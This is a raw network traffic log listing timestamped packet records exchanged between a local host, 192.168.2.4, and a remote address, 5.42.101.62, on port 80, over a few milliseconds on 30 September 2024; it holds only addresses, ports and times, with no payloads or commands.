Sep 30, 2024 12:22:28.337079048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337111950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337135077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337145090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337177038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337196112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337203979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337235928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337251902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337272882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337292910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337306023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337336063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337340117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337353945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337373972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337393999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337409973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337434053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337438107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337470055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337472916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337501049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337503910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337519884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337536097 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337555885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337569952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337589979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337603092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337625980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337635994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337654114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337686062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337692976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337722063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337737083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337755919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337776899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337790966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337806940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337826967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337841034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337862968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337878942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337913036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337914944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337946892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337966919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337996960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337997913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338051081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338052034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338083029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338105917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338116884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338129997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338150978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338167906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338196993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338201046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338229895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338254929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338263035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338272095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338296890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338310003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338346958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338382006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338404894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338413000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338435888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338531017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338545084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338568926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338602066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338602066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338625908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338637114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338646889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338670969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338690042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338701963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338732004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338737011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338749886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338769913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338790894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338804007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338825941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338835955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338860989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338887930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338895082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338921070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338938951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.338953972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.338975906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339006901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339060068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339061975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339093924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339127064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339145899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339178085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339183092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339210987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339243889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339272976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339277983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339306116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339310884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339323997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339344025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339366913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339376926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339422941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339431047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339445114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339466095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339481115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339499950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339514971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339533091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339555979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339565039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339581013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339598894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339632988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339654922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339668036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339701891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339732885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339739084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339765072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339766026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339785099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339798927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339822054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339833021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339844942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339865923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339888096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339898109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339917898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339946032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.339950085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.339983940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340002060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340018034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340035915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340051889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340101957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340109110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340136051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340167999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340189934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340204954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340235949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340259075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340269089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340293884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340301991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340312004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340334892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340367079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340400934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340419054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340419054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340437889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340444088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340444088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340647936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340843916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340894938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340898991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340928078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.340936899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340977907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.340991020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.341022968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.341048956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.341069937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.341073990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.341106892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.341130018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.341140032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.341152906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.341192007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.341226101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.341248989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.341259956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.341268063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.341294050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.341325998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.341350079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.341361046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.341367960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.341540098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.345117092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.345175028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.345813036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.345828056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.345845938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.345892906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.345892906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.345892906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.345901012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.345925093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.345943928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.345952034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.345971107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.345989943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346005917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346021891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346036911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346052885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346070051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346071959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346086979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346096039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346124887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346137047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346137047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346141100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346157074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346189022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346194029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346208096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346211910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346252918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346252918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346252918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346271038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346287966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346304893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346338034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346338987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346362114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346364975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346380949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346396923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346411943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346412897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346440077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346440077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346460104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346498966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346513987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346530914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.346549988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346575022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.346575022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.347137928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.347152948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.347170115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.347196102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.347209930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.347213984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.347224951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.347242117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.347259998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.347273111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.347309113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.347309113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.347320080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.347335100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.347349882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.347364902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.347368956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.347379923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.347414017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.347414017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.347414017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.347424030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.347439051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.347440004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.347496986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.348077059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348131895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.348149061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348164082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348180056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348212957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.348231077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348232985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.348246098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348261118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348278046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348294973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348313093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.348313093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.348347902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.348736048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348751068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348767996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348803997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.348824978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.348830938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348845959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348861933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348879099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348925114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.348925114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.348970890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.348985910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349000931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349015951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349031925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349034071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.349054098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349067926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.349067926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.349073887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349087954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.349106073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.349124908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.349725008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349745989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349761963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349786997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349792004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.349792004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.349802017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349812984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.349819899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349832058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.349845886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349858999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.349858999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.349886894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.349925995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349940062 CEST	80	52534	5.42.101.62	192.168.2.4
